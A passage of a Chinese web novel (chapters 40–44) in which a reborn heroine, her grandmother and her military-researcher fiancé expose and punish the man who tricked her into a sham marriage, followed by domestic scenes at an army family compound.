“法律面前人人平等,既然顾向南和姜念的结婚证是假的,那么他就没有婚内出轨,至于你们姜家人殴打顾家人这件事我们也不会再追究,全当给你们的补偿了。”
“自此之后,顾家和姜家恩怨两清,顾向南和姜念两人也都桥归桥,路归路,各不相干。”
这话轻飘飘的,姜家人都炸了。
“不相**大爷,我姐这是被拐卖!”姜小飞恨不得冲上去给这老登一拳头。
“我闺女被顾家人磋磨了三**你是一个字都不提啊,”何萍嗤笑一声,“我们要求严惩顾向南!”
白振国目光如利刃冷冷射向她。
“顾向南在部队里的表现也可圈可点,立了不少军功,是难得的全能型人才,更是老百姓的英雄,这样的人哪怕犯了错,我们也该原谅再给他一次机会不是吗?”
这是明目张胆的道德**,姜念冷笑:“你说了这么多,不就是想让我既往不咎,给这所谓的英雄留点尊严吗?”
白振国满意笑了。
“还是年轻人懂得变通,毕竟我们国家的安
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宁是由诸如顾向南这样舍生忘死的军人们用鲜血换来的,私生活上稍微有点瑕疵也很正常嘛,但军人到底是保护我们这些老百姓的,你舍得让英雄流血又流泪,让他们寒心吗?”
“这样,”白振国深谙打一棍子要给个甜枣的道理,“我们部队为顾向南的行为跟你们道歉,再赔付你们一千块,作为你这三年受的委屈的赔偿,你觉得怎么样?”
“一千块!”吴桂花眼睛都冒绿光了,尖着嗓子,“儿子,没想到你老丈人这么有钱啊,这可是一千块!”
顾向南注意到白心柔眼里的鄙夷,尴尬地吴桂花闭嘴,可顾永福犯了糊涂,眼神直勾勾地:“儿啊,这可是一千块啊,咱们就这么白给姜念吗,他们揍了我们这么狠,应该给点补偿的啊。”
“是呀哥,这一千块都够我买多少条裙子了,我还要买个新手表,气死姜念!”顾晴美滋滋的畅想着。
顾向南脸色又红又青,恨不得把头钻到地缝里,他爸妈妹妹什么时候这么上不得台面了啊,肯定是被姜念带坏了!
以后要是不收拾姜念一顿,他这口气根本咽不下去!
但顾家人的反应让白心柔冲着姜家高高抬起了下巴:“别端着了,我知道你们都想要这笔钱,还不赶紧答应,要不然过了这个村就没这个店了,以后后悔了再来要,可没这么多了!”
这话简直是实打实的羞辱!
姜念自己能受委屈但舍不得让爸妈舅舅他们跟着受委屈,刚要开口就被姜家姥姥拽到了身后。
“姥姥?”
“退后,交给姥姥。”
在白司令讥讽的目光中,姜家姥姥随手掏出两个东西就拍在了他桌子上:“别拿你这套吓唬我,这是我和我老伴的勋章,伟人亲自颁发的,再往前三四十年,你见到我也得喊一声**!”
白司令嗤笑一声,说什么大话呢,这勋章全国都没几块,怎么可能在这个老太婆手里,他刚要扫下去,可在看到桌上这开国元老才会有的勋章,脸色一变,立马站起来恭恭敬敬地敬了个军礼:“老**!”
此话一出,现场顿时一片死寂。
顾向南豁然站起身,姜家人昂首挺胸,一脸与有荣焉,只有姜念一脸懵逼。
这个小牌牌不是姥姥拿来给她砸核桃的吗?
上辈子还被顾向南见过一面就拿走了……
第四十章 念念是我未婚妻,你说我是谁?(又争又抢)
上辈子姥姥没了时,把这勋章留给了她,后来顾向南发现了这个勋章,以担心她睹物思人过度伤心为由替她保管,在那之后,事业肉眼可见地顺了起来。
不清楚这勋章重要性的她没多想,可如今……姜念还有什么不明白的?
顾向南定然早知道这勋章能助他平步青云才夺走的,怪不得他非得弄死自己全家,原来不仅是因为他出轨更是为了**夺宝!
她猩红着眼看向顾向南,这个小人,到底背着她做了多少恶心的事,简直无耻至极!
姜念姥姥淡淡瞥了白司令一眼,从鼻子里哼出一声,当着他的面泰然坐在他的座椅上。
“我老伴没了,但我还没死,你口口声声说顾向南这个新兵蛋子是英雄,那我和我老伴呢?国家允许你让我们这些开国英雄这么寒心?”
这话可太重了,白司令后背冒出了一层冷汗:“这都是误会,误会……”
“误会?呵,是你威逼利诱,道德**让我们闭嘴是误会还是你女婿攀龙附凤拐骗我宝贝念念是误会?你要是不给我一个合理的理由,我立马跟你的上级通话,我想,我还是有这个本事的!”
老太太的话掷地有声,白司令额头酷酷冒汗。
“别!刚才都是我有眼无珠,是我猪油蒙了心,一心想照顾年轻人才想左了,我给您和您的家人致歉。”
“只你道歉就行了吗?我来这里就是为了来给我家宝贝念念要个公道的,你应该怎么做?”
白司令冷汗都下来了:“是,是顾向南拐骗少女,他犯了法,但他所做的一切我都不知情。”
顾向南脸色瞬间褪去,心慌到了极点。
连他老丈人都不保他了吗?就因为这老婆子的几句不痛不痒的话,白振国就要放弃他?
出尔反尔,小人做派!
顾向南不由地开始怨恨白振国。
“爸!”白心柔第一个不干了,“你怎么能这么说你女婿?他可是你外孙的亲爸,要是他背了处分,你让我儿子怎么抬起头!”
她不由狐疑:“这个老婆子要真有这么大本事,她姜念能被骗到顾家吗,说不定连这勋章都是假的,这上面都有磕碰了……”
“啪!”
白振国眼底阴狠,反手扇在白心柔脸上,咬牙骂道:“头发长见识短的蠢货,你给我闭嘴!”
这些勋章都是特殊材质做成的,怎么可能被仿造!
“顾向南,你过来给姜同志道歉!”
“凭什么让我儿子给姜念道歉!”顾向南向来都是吴桂花的心尖宝,听到这话,也不管白振国是谁了,叉腰就护在顾向南身前。
“就算向南没跟姜念领结婚证,我们家也养了她三年,这三年来,她吃我们家的,喝我们家的,睡我们家的,别管我们对她怎么样,这都是事实吧?”
“功过相抵,这件事我们一笔勾销!”
“呵,笑死,你不会觉得你很有理吧?”
姜小飞白眼都快飞到天上了:“别以为我们不知道,我们家每个月寄给我姐的东西都被你们偷偷截下来瓜分了!”
吴桂花眼神一闪:“你们胡说!”
“还装呢,你大哥吴国强做的那些好事都上了县里报纸了,白纸黑字,我看你们还怎么狡辩!”
何萍从包里掏出几张报纸甩在吴桂花脸上,顾永福连忙夺过来,仔细一看,差点喷出一口老血!
吴国强为了洗白自己,居然把所有的事都推到了他们头上,他老顾家大半辈子的声誉啊,全完了!
“光我们寄的钱票,就够我姐在村里吃香喝辣三年了,更别提你们还从我姐手上骗走了所有的钱票和值钱的东西!”
姜美仁嘲讽:“你儿子是人贩子,你们顾家就是贼窝,天天惦记着我闺女的好东西,先别急赤白脸的反驳,你们村里的邻都都知道,大不了就打个电话问一问!我看到底是谁白吃白喝,连偷带拿!”
上了报纸就相当于有了真凭实据,顾向南原本还想蒙混过关拒不认账,现在看来是不能了。
“这些我们都认,除了磋磨姜念这一件事,”顾向南忽然开口,“毕竟如果我爸妈要真对她不好,她怎么会一直留在村里给我照顾爸妈?感情毕竟只是两个人的事,我们一个愿打一个愿挨,就算你们是姜念的家人,也不好插手。”<
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br>顾向南忽然轻笑了声,笃定了姜念会站在他这一边:“对吧,姜念?”
他差点忘了,他顾向南可是姜念一厢情愿苦恋三年,得不到他也甘愿的男人。
为了自己,姜念都愿意跟父母断亲了。
这次来,应该也是吃醋,他只要稍加安抚就会又成他的舔狗了。
这话的的确确戳到了姜家人的心窝。
毕竟姜念想当年可是为了顾向南发了狠跟家里人断绝了关系的。
然而,就在姜家人心里不是滋味时,突然听到了一道响亮的巴掌声。
“啪!”
众人回神,姜念竟然打了顾向南一个巴掌。
普天同庆,他们家念念总算不无脑痴迷顾向南了啊!
顾向南也被打蒙了,不敢置信地看向姜念。
姜念冷笑着收回手:“你说的对,我们之间的确是一个愿打一个愿挨,但我才是打你的那个!”
“姜念?你怎么变得这么粗鲁,我以为你跟别人不一样的……”顾向南做出痛心的样子。
姜念差点吐出来:“别这么恶心的叫我,顾向南,我清楚的告诉你,老娘早就不喜欢你了,我会告你骗婚罪,举报你作风有问题,你,完了!”
闻言,顾向南脸色一白,他从来都没从姜念脸上见到这么厌恶他的样子,心里顿时一阵空落落的,像是有什么重要的事情彻底从他生命中消失了。
那种恍惚感让他下意识的抓住了姜念的手腕。
“姜念,你在跟我开玩笑是不是?你不是最喜欢我的吗?”
顾向南紧紧抓着姜念,姜念反手扇了他两个巴掌:“放开我!”
“不放,你说过要喜欢我一辈子,怎么能轻易反悔,还是谁勾引了你……”
“她让你放开,你没听到吗?”
话音刚落,顾向南两条胳膊都被卸下来,他疼的惨叫出声,看着突然出现的男人把姜念夺走,心里陡然升起了巨大的危机感:“你是谁?”
裴淮州揽着姜念的腰,占有欲极强地两人之间不留一丝缝隙,淡淡掀起眸子看着两辈子的情敌,微微勾唇:“念念是我的未婚妻,你说我是谁?”
第四十一章 念念恐怕要跟我住一段时间了
裴淮州透着股风尘仆仆的味道,姜念愣愣看着他。
发现这段时间没见,男人瘦了许多,五官越发锋锐凌厉,眉眼深沉,气势比顾向南还强。
顾向南下意识的躲避了男人不善的目光,反应过来又懊恼皱眉。
这男人看起来就是个文弱书生,怎么可能威胁到他?
不过他很快想起来姜念是有这么一位未婚夫,轻蔑一笑。
“原来你就是姜念说过的青梅竹马,长得的确不错,但姜念喜欢的是我,为了嫁给我,她早跟你解除了婚约,这是我们两个人的事,你插不上嘴。”
“嫁给你?**也算嫁?我和念念的婚约才是货真价实。”
“你说对吧,念念?”
裴淮州看起来风轻云淡,但其实手心紧张的出了汗。
“嗯?”
姜念后知后觉,裴淮州竟然跟顾向南对上了。
她想把爸妈裴淮州他们摘出去所以才孤身来找顾向南。
可他们竟然都出现了,还跟顾向南交上了手。
事已至此,姜念不能给他拖后腿。
“对,你说的对。”
见姜念没反对,裴淮州不动声色吐出口浊气,浑身都放松下来,温和地问旁边的何萍:“阿姨,您说是不是?”
姜美仁眉头皱的能夹死苍蝇刚要说什么婚约,他闺女才回来他才舍不得再把人嫁出去。
可何萍抬手捂住了他的嘴:“对,你跟念念的确有婚约,如果不是顾家人从中作梗,你们早就结婚了。”
“既是如此,在下不才,在军中也有军衔,你蒙骗我未婚妻,就是在破坏军婚。”
裴淮州拿出了他的工作证,白振国立马站直了,如此年轻就已经……不容小觑啊!
顾向南也被吓得脸色发白。
怎么会,他晋升的速度已经够快了,可这个裴淮州比他还变态。
年纪轻轻就已经身处高位,至少是副师级,警卫员都已经配备上了。
“小赵,记得把这位送进去时再加个破坏军婚罪,”看着顾向南吃了屎一样的表情,裴淮州舒畅挑眉,“不用谢,就当我送你的见面礼了。”
“带走吧。”
顾向南脸色顿时变得十分精彩,青红交加,最后成了紫黑色。
“是!”小赵莫名从裴淮州身上看到了正宫的气场。
吴桂花呆愣楞地没反应过来:“不是,他不是姜念的表哥吗?不是一个不起眼的小人物吗,怎么摇身一变就跟姜念成了未婚夫妻呢?”
顾永福脸都绿了:“行,真行!看来他们早就有一腿了,我住院那一个礼拜还不知道他们孤男寡女在家里怎么颠鸾倒凤!”
只要一想到这俩人明目张胆在他们老顾家你侬我侬,顾永福就气的眼前一黑又一黑!
“你们这对奸夫**,我……”
裴淮州双手捂住姜念的耳朵,眼神一厉:“小赵,把他们也带下去,跟顾向南团聚!”
有裴淮州破坏军婚罪和姜念姥姥的两个国家勋章,顾向南不死也得扒层皮!
他们顾家人也得遭一遍罪!
白心柔看着自己男人被带下去,跳着脚让白振国把人放出来,但扭头喜提两个巴掌:“没脑子的蠢货,你想让我死就直说!”
这两位大靠山,他哪个都不敢得罪!
中午,裴淮州做东,在部队的食堂二楼包厢请人做了一桌子的私房菜找招待姜念家人。
他去安排时,姜念一直窝在她姥姥怀里。
“姥姥,救命呀,我妈这眼神像是要杀了我。”
“我看你胆子是真肥了,不打声招呼就跑这么远,还敢撒谎说去了姥姥家!”
何萍气不打一处来,去找扫帚:“还有脸告状,看老娘不今天打死你!”
姜念吓得要死:“诶诶,妈,我错了,姥,姥姥,舅,表哥,呜呜,哥哥,弟,弟弟!救我!”
姜小飞连忙把姐姐护住:“妈,你消消气,我姐受了多大委屈啊,你还揍她。”
“让开,不然我连你也一起揍。”
姜小飞没让,呲牙咧嘴的挨了好几下。
裴淮州刚好这时推门进来,姜念眼睛一亮:“裴淮州,救我狗命!”
说着就像小时候一样,小炮弹似得冲到他怀里。
解决了顾向南,她总算能跟裴淮州亲近点了。
跟小时候会被撞飞不同,裴淮州稳稳接住了她,笑着护着她:“阿姨,念念知道错了,您看她瘦了不少,也吃了不少苦,就算了吧。”
“是呀是呀,妈,我知道错了。”
“算了阿萍,孩子还小,不懂事。”姜念姥姥和大舅跟着劝。
见姜念还跟小时候一样扑在裴淮州怀里,何萍眼神闪了闪,把扫帚一扔,拧着姜
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念的耳朵把她按在了座位上:“再有下次,你姥和你舅舅也保不住你。”
姜念没心没肺的笑,裴淮州则失落的捻了捻手指。
饭菜很快就上满了桌子,姜念边吃边好奇:“妈,你们怎么发现我来找顾向南的啊?”
“孩子静悄悄,必定在作妖,”姜美仁骄傲,“你打小就皮,干了坏事就格外乖巧,你那几天那么老实肯定憋着大招呢,我和你妈轮流盯着你,这不你一留下信,我们就知道你要跑了。”
“只不过我们追你时候错过了一班车,晚了半天才到,来这边又恰好遇到小州,让他带着进了营地才能及时赶上,没让你吃亏。”
裴淮州?
姜念扫了他一眼,发现他正在给几位舅舅表哥们殷切倒酒,咽下了他怎么也来了的疑问。
“那爸你怎么把姥姥也带来了啊?”
“还不是怕我们护不住你,我去找你爷爷……他们不提也罢,还好,你姥姥他们一听你被欺负了,二话没说就坐了三天三夜的火车来了,”姜美仁是真感激,抬手敬他们一杯,“多余的话我不说了,妈,舅哥们还有念念的哥哥嫂子们,以后有事尽管喊我。”
说完仰头干了,姜美仁杯子刚放下,裴淮州默默地就给添上了,期间,何萍看了他一眼。
“你这话说的,念念也是我们何家的崽崽,被人这么糟践我们能不疼吗,给她出气还整这么客气。”
席面顿时一阵欢声笑语,姜念眼眶微湿,靠在姥姥温暖的怀里看着她这些家人们。
真好,他们都还在。
上一世爸妈兄弟为她报仇被陷害惨死后,姥姥和舅舅他们一直没放弃为他们报仇,却被顾向南一起报复了。
她记得姥姥的病是拖出来的,她要找个机会好好给姥姥看看,让姥姥长命百岁。
大舅会开车,二哥手艺好,几个哥哥嫂子也有各自长处,恰逢时代的风口,不赚一笔实在说不下去。
还有裴淮州……
姜念找了个机会喊了裴淮州出去,半天没回来。
何萍拧了拧眉头出去找了他们:“念念,我订了下午的车票,你跟我们一起回去。”
姜念点点头:“好哦。”
裴淮州却歉意地开口:“阿姨,念念还不能回去,我已经申请了家属院,她恐怕要跟我住一段时间了。”
第四十二章 傻白甜的爷俩
姜念歪头看他:“我为什么要跟你住?”
何萍皱眉。
裴淮州一副他也无奈的样子:“上午时我提了念念是我未婚妻,虽然能震慑住顾家人但后续对顾向南的审判和判刑还需要念念配合,和我住在一起,更方便。”
姜念想,顾向南犯得事肯定是越多越好,最好能彻底把他弄死,不就是住在一起吗,反正她跟裴淮州是‘未婚夫妻’的关系,又不是第一天住在一起了,也不差这几天。
于是无所谓的点头:“行啊,妈,那我过几天再回去。”
何萍嘴里的拒绝就这么卡在了喉咙里,恨铁不成钢的点了点她的额头:“姑娘家的,一点都不矜持,我留下来陪你。”
“什么留下来啊,你开的介绍信不就这两天吗?厂里你也没请假,”姜美仁出来找媳妇,正好听到这句,连忙跑过来,“而且,要是你不在家,我心里总觉得不踏实的。”
姜美仁可是个美大叔,抱着媳妇的样子一点都不油腻,可何萍看了这么多年早有了免疫力,嫌弃地推开他:“都多大人了,叫人看了笑话。”
“这里都是自己人谁会笑话我?小州,你会嫌弃叔叔吗?”
“怎么会,相反,我很羡慕叔叔阿姨之间的感情,你们是我见过的最恩爱的夫妻了,怪不得能养出这么好的念念。”
这话姜美仁听得舒心,姜念也翘嘴角,何萍看着这傻白甜的爷俩,狠狠翻了个白眼。
“行了,给我站好,你闺女要在这里住,我不陪着谁陪着啊?”
“那我也留下来。”
“爸,您别闹了,裴淮州申请的家属院肯定住不下这么多人。”
其实是有的,毕竟裴淮州这种科研大宝贝的地位,申请下来的房子再多住两个人都没问题。
但裴淮州没说话。
这问题争执回包厢都没定下来,姜姥姥瞥了他们一眼:“你们都走,我留下来陪念念。”
“不行!”
好几个人异口同声,姜念也劝:“姥姥,您虽然身体好但这条件太艰苦了,边疆太冷……”
“我以前就是戍守边疆的老兵,老了再回来住一段时间也没啥,再说,我想已经有人往我这边赶了,我走,不合适。”
大舅说:“那妈,我留下来照顾您。”
“我有手有脚的,干活利索,谁都不用,阿萍,有我这个长辈在,其他人不会在背后议论他们未婚夫妻同居的事,”姥姥笑呵呵地看裴淮州,“小州,你不会嫌弃姥姥吧?”
裴淮州对上姜姥姥和善但暗藏清明的双眸,笑容一僵,苦笑一声:“怎么会,您留下来,念念肯定很开心。“
走了一个姜妈妈又来个姜姥姥,这两位都是把念念当成眼珠子疼的,看来他的追妻之路,道阻且长啊。
姜念陪着姥姥一起送他们,原本还想着去借辆车,没成想他们前脚刚出来后脚两辆越野车就开了过来,车上还满当当的准备了好多土特产。
小赵大步过来:“裴处,您吩咐的礼品我们都准备好了。”
姜美仁震惊:“车兜里这些都是给我们的?”
米面粮油就不说了,还有不少干果和大枣,核桃光他看到的就有三四袋子了。
“这也太多了,我们不能收。”何萍也被吓了一跳,这些东西可不是有钱就能买到的,裴淮州肯定费了不少心思。
“阿姨,你们尽管收下,这些都是单位发的福利,我一个人也用不完,再说了,舅舅们为了念念千里迢迢赶过来,怎么能让你们空着手离开呢?”
何萍几次三番拒绝,可周围都是来往的行人……
裴淮州无奈低声:“阿姨,这里都是人,您收下吧,要不然戏不真。”
刹那间,何萍猜到了裴淮州的用意,他这都是为了念念才特意弄出这么大的阵仗。
不过,裴淮州真的只是为了演戏?
刚才在席面上,裴淮州眼神可一直都停留在念念身上啊。
何萍不禁暗暗打量起裴淮州,可裴淮州面色坦然,丝毫没办点心虚,她没看到一点破绽。
难道真是她想多了?
“媳妇,上车啊,这越野车坐起来可真带劲。”
何萍回神发现姜美仁已经跳上了车,新奇的摸来摸去。
她顿时一头黑线:“你别乱动。”
算了,等以后她再加倍谢裴淮州吧。
就这样,姜念眼泪汪汪送走了爸妈他们,和姥姥一起住进了家属院,趁这时候刚好给姥姥调理一下身体。
出乎姜念预料的,裴淮州申请下来的房子很大。
两
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室一厅的平房,外头还有灶房有洗手间,外头有个大院子,只不过屋子的前主人没怎么照料,石子路两边都是杂草。
“家具得陆续抬进来,不过床褥什么的都有,你和奶奶住大卧室,我住次卧就好。”
姜念新奇的逛着房间,看到大床时忍不住扑了上去。
“咦,被子好暖和哦,是今天刚晒的吗?”
裴淮州靠在门框上看她在柔软的大床上滚来滚去,眼神忍不住柔和下来:“嗯,拜托隔壁嫂子晒得被褥,屋里的卫生也是她帮忙的。”
“看来你是早就打算让念念来你这里住了啊。”姜姥姥笑着说。
“算是,毕竟我们两家玩得好,之前一直打算接她过来住几天的。”
“咦,这么说,你一直在边疆这个部队做科研吗?”姜念总算想起了正事,吃席的时候她就想问,但她妈突然出现打断了话。
“我们的实验基地虽然的确属于这个部队,但地方离部队很远,我过去三年吃住都是在实验室的,前阵子做出了点小贡献才申请到这个房子。”
“好在,上头拨了钱,新的实验基地就建在了部队隔壁,我能安安稳稳的在部队住下来了。”
“那你不回松山县了吗?”
裴淮州摇头:“那边已经安排好了。”
他日夜赶工,赶出了一份详细的计划,只要不是傻子,一板一眼地按照他铺好的路走下去,就会在他算好的时间内把计划完成。
“这么说,你以后要扎根在边疆了?”姜姥姥忽然问。
“这说不准,毕竟要跟着上头的政策走,只要有机会,我会努力调回去。”
姜姥姥点点头,不置可否,倒是姜念傻乎乎的:“那你可得快点,最好能在我回去时也跟着我一块回去。”
裴淮州眼底沁出笑意:“好,我答应你。”
“明天我要去买家具,你跟我一起吗?”裴淮州状似不经意地说,“反正你是要在这里多住段时间了,按照你的喜好来布置,你和姥姥住着也舒服。”
姜念早就想去看看边疆的风貌了:“好啊,姥姥,你去嘛?”
裴淮州一顿,姜姥姥看看他,噗嗤一下笑出了声:“算了算了,我这把老骨头就不跟你们小年轻瞎掺和了,你们去吧。”
第四十三章 织围巾,顾向南的下场
姜念以为自己在陌生的环境里睡的会不安稳。
可外面是裴淮州,旁边是姥姥,她上床刚沾着枕头就睡的不知天地为何物了。
姜姥姥年纪大了睡觉少,第二天天没亮就起床准备给这俩孩子做点早饭,可谁成想裴淮州早从食堂打来了饭菜,这会儿正扛着锄头在翻院子的地,身高腿长的还是公狗腰……
姜姥姥都愣了愣。
小州这孩子气质咋都变了呢?
“姥姥起来了?”
“嗯,我觉少,你怎么起的也这么早?”
“昨晚上听您说想在院子里种些菜,反正我闲着没事干就起来翻翻地您想种什么就种什么,”裴淮州笑容腼腆,“我还托人弄来了不少菜种子,长得快的一个月就能吃了。”
裴淮州边说边给姜姥姥看种子。
“还真有种子,不过这大冬天的,这地该怎么种?”姜姥姥不可谓不震撼,她昨晚上就是随口一说,谁成想裴淮州行动力这么强,一早就给她准备好了。
“冬天也能种的,我今天出去买些钢丝,弄个简易大棚,里头温度高,还能种草莓呢。”
“您和念念都爱吃草莓,我刚好路过农业基地,要来了两盆草莓秧子,教授说都是新品种,口味甜个头还大,种下一颗能接不少果子。”
农业基地研究的新品种不用想也知道多宝贝,裴淮州肯定是费了好大力气才要过来的。
偏偏他半点都没邀功的意思,说的这么风轻云淡,姜姥姥这颗心啊,真是软的一塌糊涂:“你,你可真是……”
“什么草莓?”
姜念打着哈欠出来:“姥姥,你们都起来了啊,咦,裴淮州,你干嘛呢?”
她还是第一次见裴淮州扛锄头,别说,平时看着挺瘦挺斯文的,脱去了厚重的大衣,身材还不错嘛,该有的肌肉还都有。
裴淮州没错过姜念眼底的惊艳,勾了勾嘴角:“给你种草莓。”
“嗯?”
姜念瞬间醒了,等裴淮州又解释了一遍,激动的差点蹦跶到他身上去:“裴淮州你真厉害,等草莓熟了,我给你做草莓小蛋糕。”
裴淮州发现自从解决了顾向南后,姜念像是脱离了某种枷锁,重新活泼起来,越来越像小时候那么灵动调皮。
裴淮州乐见其成:“好,做小蛋糕吃。”
姜念精神饱满,吃了热气腾腾的早饭就跟着裴淮州一起去了……
“这里是集市?”
姜念趴在车窗上新奇地看着前方。
“嗯,这是当地人以物易物的集市,前几年管得严只敢偷偷开,最近好多了,货物比供销社还齐全。”
集市上人来人往,裴淮州趁机牵住了姜念的手。
姜念奇怪抬头,裴淮州淡淡解释:“这里人多地广,省的走丢了,要是走丢了,可不好找。”
男人的大掌干燥又温暖,让姜念很有安全感:“好,那你可得抓紧我。”
他们先是找人去打了一组柜子桌椅,再去找了些做大棚的材料,正好遇见有人在卖毛线,姜念买了两团红色的。
“姥姥喜欢红色,一个给姥姥织围巾,另一个就给姥姥织点手套和袜子,戴上去肯定很暖和。”
姜念偷偷付了钱,没用票,像做贼一样的拉着裴淮州走。
但没拉动。
裴淮州打了个喷嚏,揉了揉鼻子,鼻头红彤彤的,脖子上也光秃秃的。
见姜念看过来才说:“没事,我不冷,阿嚏。”
小赵哎呦一声:“裴处你可得悠着点,千万别感冒了,以后也别大早上那么冷还巴巴的爬起来给姜同志种草莓了……”
姜念:……
裴淮州也淡淡扫了他一眼。
意识到弄巧成拙的小赵连忙缩了脑袋。
但这些话到底是提醒了姜念,她犹犹豫豫选了两团灰色的毛线团:“要不,我也给你打个围巾吧?”
“没事,我不用,阿嚏。”
姜念连忙付了钱:“这得有,得有。”
瞧瞧,这冻成啥样了都。
裴淮州嘴角勾了勾:“那就多谢念念了。”
然而姜念是高看了自己。
无论是上辈子还是这辈子她都没点亮织毛线的技能,第一次织,就把毛线打成了结差点解不开。
她哭唧唧去找姜姥姥,姜姥姥哪
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会啊。
以前都是她老伴给她织的,现在是大舅妈几个晚辈给她织。
于是一老一少大眼瞪小眼,好几天了,硬是一点都没弄出来。
“姥姥,念念,洗手吃饭了,”
裴淮州从灶房里端了大骨头炖酸菜出来,酸菜还是他托队友从东北带回来的,专门买回来给姜念开胃。
最近她吃的不多。
裴淮州在饭桌上说了个好消息:“念念,明天会有调查组的人来询问你顾向南的事,你把你知道的如数说出来,他就可以定罪了。”
“这么快?”这才几天。
“嗯,这件事闹得很大,被上头当了典型办。”
裴淮州没说他在背后做了最大的推手。
“虽然还不知道具体的惩罚,但他会被开除军籍,在档案上记大过,遣返回乡,还要被关个五六年,等他出来,原本的前途彻底碎成了渣渣,好一点的单位也不会再要他。”
“白家不会再保他,白心柔已经跟他离了婚。”
至于**,顾向南被关进去第二天就有了重大表现,很难实行了。
裴淮州眼底划过一丝可惜。
“只是关个三四年?不会**?”姜念暗恨,“可真是便宜了他!”
裴淮州眼底冰冷:“放心,我会让他永远消失在你眼前。”
他声音很轻,姜念抬头:“你说什么?”
“没什么,快点吃,饭菜都凉了。”
姜念心不在焉的点点头。
不知道为什么,姜念总觉得顾向南还有后手。
说她狠毒也好说她疯狂也罢,她想的都是彻底弄死顾向南。
毕竟他是男主角,万一得了什么机遇岂不是还会威胁到她和她的家人?
姜念也没心情织毛衣了,早早躺在床上翻来覆去睡不着,睁眼到天亮,刚有点睡意就被一阵砰砰砰的敲门声惊醒。
裴淮州去工作了,家里就姜念和姜姥姥在,姜念留了个心眼,让姥姥待在屋里不出来,警惕地没开门:“谁?”
外面传出顾晴哭天喊地求饶声:“嫂子嫂子,救命啊,你快写个谅解书,让他们放了我哥吧!”
第四十四章 念念扇过来的巴掌,想舔
是顾晴。
她大声的嚷嚷,吵醒了左右邻居,姜念隔着门板都能听到别人开门的动静。
有个爱看热闹的就问:“这是咋了,小姑娘,你喊谁嫂子呢?”
见有人在,顾晴哭的更加大声。
“嫂子,我知道你心里还有我哥,只要你肯出谅解书,我就让我哥立马娶你,你不是喜欢我哥喜欢的不得了吗,这是你梦寐以求的机会啊!”
“我爸妈说了,他们会重新给你们办一场风风光光的婚礼,你不是心心念念要给我哥生孩子吗,只要你答应了,你想生几个生几个,我们老顾家日后也只认从你肚子里生出来的孙子!”
“还有那个白心柔,我哥跟她断绝关系了,也不要她生的孩子了,你以后就是我们老顾家的长子长媳!”
姜念讽刺的扯了扯嘴角。
当顾家是有皇位继承吗,还长子长媳?谁稀罕?
姜念转了转眼珠子,调查组可快来了,她得添把火。
她连忙在门口架起了油锅,不断的炸肉,故意往门缝里扇风……
顾晴喉咙都快喊冒烟了,忽然闻到了一股油炸的味道,下意识的咽了下口水,但意识到这味道是从姜念家里传出来的后,气的顿时一个仰倒!
她在外头哭的这么惨,姜念居然躲在屋里优哉游哉的炸肉吃!!
顾晴越想越恨,把她哥千叮咛万嘱咐让好好说的话抛到了脑后:“姜念,我知道你在听,你给我出来!”
“砰砰砰!”
她哐哐砸门。
“开门!姜念,有胆子骂我哥,没胆子出来吗,给我滚出来!”
院子里,姜念垂眸看时间,裴淮州说调查组准时到,如今也到时间了。
姜念大声喊:“你哥犯了法就该接受惩罚,谁来求情都没用,你赶紧走,我还能饶了你!”
“我呸,你不就是个死胖子吗,仗着不要脸跟新男人不清不楚的住在一块,你有什么本事,什么能力饶不了我?”
顾晴越说越嚣张:“我哥本事大着呢,早晚收拾了你这个**!”
“我给你最后一次机会,给我哥写谅解书,要不然等我哥出来,有你好受的!”
有人忽然朝她身后喊:“哎呀来了好多车。”
“哦豁,这么多穿中山装的人啊……”
顾晴还保持着砸门的动作,突然被一道风给撞到墙上了,疼的她呲牙咧嘴。
“太好了,同志们你们终于来了,这是顾向南的妹妹,大早上就来我这里堵门,一个劲的骂我威胁我,吓得我根本不敢出门呜呜呜!”
姜念冲出来,小脸白生生的,哭唧唧地跟一个女调查员告状。
调查员看看四周再看看脸色扭曲阴狠的顾晴,问周围的群众:“是这样吗?”
“对对对,你们是调查员吧,”有个面善的嫂子点头,“这个女同志在门口敲了半天的门了,见人不出来,还骂了好一阵,我们都听到了。”
天啊,竟然是调查员!
顾晴腿一软想跑,但被拦下了,姜念领着调查组进去,回头慢悠悠瞥了眼顾晴。
顾晴瞬间明白,这都是姜念算计好的,把她当枪使,算计她哥啊!
“**,你是故意的!”
姜念怯生生的:“哎呦,我好怕。”
女调查员跟后面跟着的两个人说:“先堵住她的嘴,你们两个去问问邻居们到底是怎么回事。”
等按流程问完,调查员见姜念脸色惨白,神情惊惶,安抚她:“放心,只要情况属实,顾向南后天会被押送到原户籍监牢关上六年,他的家人也会被扭送回去。”
“但他家人今天闹上这一通,如果真是顾向南在背后撺掇,他会增加半年到一年的刑期,我们会通知当地的派出所和红旗村的村长**,让他们盯着顾家,以防他们再来找你,威胁你。”
调查员走了没多久,部队告示栏就贴出了对顾向南的处罚,姜念去看了。
比之前说那些多了半年的刑期,连同顾家人一起押送走了。
听说吴桂花被拉走前还到处找她,口口声声喊她也是顾家人,闹着非得把她也抓走。
被顾永福一巴掌扇老实了,他生怕再惹事,可吴桂花正在气头上,扑上去挠了他满脸生花。
车都走远了,还能听到吴桂花尖锐的叫骂声。
邻居把这当笑话讲给姜念听,姜念当天就乐的多吃了两个大包子。
但不能掉以轻心,要带着爸妈姥姥他们变得更强才行。
还有自己。
她一身的医术需要经过系统的学习才能光明正大的拿出来用,可距离高考还有不到二十天,时间不够了啊。
前阵子她还跟裴
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淮州聊起这个事呢,只能等明年才能高考了。
裴淮州得知顾向南被送走,神清气爽的提前回了家属院:“念念我回来了,看我给你买的什么?”
姜念坐在新沙发上,出神的看着窗外。
裴淮州脚步一顿,望了望窗户的方向,恰好是顾向南出部队的方向。
难道念念在想顾向南?
难道念念后悔了?
对顾向南那畜生还余情未了,念念不忘?
一想到这种可能,裴淮州心中像蜘蛛丝一样蔓延出丝丝缕缕的恶意,冷着脸,缓缓朝她逼近。
高大的身影完全覆盖住姜念,裴淮州冷冷问:“念念在想谁?”
“嗯?”姜念抬头,裴淮州背对着光,脸色晦暗不明。
姜念皱眉,然后踩着沙发一巴掌拍他脸上。
“你发什么神经啊,突然出现吓死我了。”
巴掌软绵绵的,香香的,裴淮州喉结滚动一下,怎么办,想舔,但生怕姜念觉得他变态,只能硬生生压下去。
“我还想谁,我在想顾向南!”
裴淮州顿时脸若冰霜,果然……
“我想他什么时候**。”
峰回路转,裴淮州舒展眉眼,坐在她旁边。
“念念想让他死也不是不可能,但需要慢慢筹谋,急不得。”
